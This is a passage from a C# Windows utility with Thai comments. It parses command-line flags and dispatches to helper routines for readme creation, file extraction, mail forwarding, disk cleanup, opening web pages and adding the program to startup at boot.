                        MyGlobal.cpWord1 = "?";
                        MyGlobal.cpWord2 = "?";
                        break;
                    default: // ปรกติ 
                        return;
                }
            } 
            else
            {
                MyGlobal.cpFlag = args[0];
                for (int i = 1; i < args.Length; i++)
                { MyGlobal.cpText1 = MyGlobal.cpText1 + " " + args[i]; }
                for (int i = 2; i < args.Length; i++)
                { MyGlobal.cpText2 = MyGlobal.cpText2 + " " + args[i]; }
            }
            MyGlobal.cpFlag = MyGlobal.cpFlag.Trim().ToUpper();
            MyGlobal.cpText1 = MyGlobal.cpText1.Trim();
            MyGlobal.cpText2 = MyGlobal.cpText2.Trim();
            if (MyGlobal.cpText1.Length != 0) { MyGlobal.cpWord1 = args[1].Trim(); }
            if (MyGlobal.cpText2.Length != 0) { MyGlobal.cpWord2 = args[2].Trim(); }
            MyGlobal.insource = 0;
            MyGlobal.in_pos_prog = 0;
            if (File.Exists(@"J:\Entertain\Movie\New\ae-1.pip")) { MyGlobal.insource = 1; }
            if (File.Exists(@"V:\Entertain\Movie\New\ae-1.pip")) { MyGlobal.in_pos_prog = 1; }

            // พิเศษ สำหรับ start32bit ในเวบต้องเก็บเป็นคลาวด์
            // MyGlobal.cpFlag = "4";
            // MyGlobal.cpWord1="4";
            //
            SetupVar();

            if (MyGlobal.cpFlag=="POK") { Pok4Key(1); }
            if (MyGlobal.cpFlag == "YOU") { Pok4Key(2); }
            if (MyGlobal.cpFlag == "AUTO") { AutoUtilPOK4(); }

            // เช็คไฟล์ที่ฝั่งตัวให้ Run ใน C และ D เท่านั้น 
            if ((MyGlobal.cpWord1 == "W" || MyGlobal.cpFlag == "AUTO") && MyGlobal.insource+ MyGlobal.in_pos_prog==0)
            {
                string FLactive = MyGlobal.MyApp;
                FLactive = FLactive.Substring(0, 1).ToUpper();
                if (FLactive=="E" || FLactive=="F")
                {
                    MyGlobal.cpFlag = "0"; MyGlobal.cpWord1 = "0"; MyGlobal.cpWord2 = "0";
                    MyGlobal.cpText1 = MyGlobal.cpWord1 + " " + MyGlobal.cpWord2;
                    MyGlobal.cpText2 = MyGlobal.cpWord2;
                }
            }
            /*
            if (RunInSource())
            {
                Win_Mess("cpFlag=" + MyGlobal.cpFlag
                + System.Environment.NewLine + System.Environment.NewLine
                + ",cpWord1=" + MyGlobal.cpWord1 + ",cpWord2=" + MyGlobal.cpWord2
                + System.Environment.NewLine + System.Environment.NewLine
                + ",cpText1=" + MyGlobal.cpText1 + ",cpText2=" + MyGlobal.cpText2);
            }
            */
            switch (MyGlobal.cpFlag)
            {
                case ("?"): UtilPOKReadMe(); break;
                case ("T"): TestProg(); break;
                case ("R"): UtilPok4Readme(); break; // สร้างไฟล์ Readme.txt
                case ("1"): ShowJPGON_POK(); break; // แสดงหน้าจอ 
                case ("2"): ExtractFL();break;  // Extract ไฟล์ 
                case ("3"): HotMail2Gmail(MyGlobal.cpWord1.Trim());break; // Emailจากuyod@hotmail ไป uyodteam@hotmail.com
                // case ("4"): Update4formPOK(); break; // ปรับปรุงไฟล์ formPOK ให้เป็น เวอร์ชั่นใหม่  ไว้ทำใหม่อีกที
                case ("5"): AddDiskSpace(); break; // เพิ่มพื้นที่ Harddisk
                case ("6"): DelZipBIN();break; // ลบไฟล์ ZIP ในระบบ สำรองข้อมูล    
                case ("7"): TaskManagerControl(); break; // สำหรับโปรแกรม TaskManager
                case ("8"): OpenBrower(); break; // เปิดเวบหลายๆเวบ
                case ("9"): AddStartWinok(); break; // ฝังตัวตอน BOOT
                case ("S"): StartApp();break; // ฝังตัวตอน BOOT+Readme.txt
            }
		}
    }
}

